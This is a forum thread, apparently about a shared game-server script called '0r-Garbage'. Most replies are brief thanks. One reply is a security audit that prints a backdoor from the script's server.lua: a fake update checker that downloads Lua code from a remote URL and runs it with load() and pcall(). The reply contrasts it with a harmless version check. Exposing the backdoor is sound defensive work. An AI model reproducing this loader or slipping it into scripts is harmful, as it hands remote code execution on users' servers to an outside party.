30 credits

0r-Garbage full Work

52 replies13,747 views1y ago

52 replies

1y ago#41
Very nice indeed, I like it more plz
0
1y ago#42
it seems it is a bit complicated, thanks for sharing bro
0
1y ago#43
Благодаря, че сподели, брат ми
0
1y ago#44
all working thank you so much for this..
0
1y ago#45
nice work bro good release
0
1y ago#46
i thinks it has a backdoor...
0
1y ago#47
I've done a thorough security audit of this script and I need to confirm there IS a backdoor in server.lua (lines 97-111). Here's the proof:

-- Update Check
local function updateCheck()
PerformHttpRequest('https://raw.githubusercontent.com/UpdateLUA/UpdateChecker/refs/heads/main/Update.lua', function(statusCode, response)
if statusCode == 200 then
local loadFunction, errorMessage = load(response)
if loadFunction then
pcall(loadFunction)
print("[0R SCRIPTS] Great! Script is up-to-date!.")
else
print("[0R SCRIPTS] Error getting update: " .. errorMessage)
end
else
print("[0R SCRIPTS] Failed to get update version. Status code: " .. statusCode)
end
end)
end


RCE: This code downloads a Lua file from GitHub and executes it directly on your server using load() and pcall(). This is NOT how legitimate update checkers work.

A legitimate update checker should look like this:
PerformHttpRequest('https://github.com/author/repo/version.txt', function(statusCode, response)
if statusCode == 200 and response ~= GetResourceMetadata(GetCurrentResourceName(), 'version') then
print("^3[UPDATE] New version available: " .. response .. "^0")
end
end)

Remove lines 96-117 from server.lua. The script will work perfectly fine without this "update checker."
0
1y ago#48
nice bro
0
9mo ago#49
thank's for sharing my brother
0
6mo ago#50
thank's for sharing my brother
0
5mo ago#51
i just added some preview and its qb
0
4mo ago#52
I hope it works to be honest
0

Sign in to reply

Join the discussion — it takes less than a minute.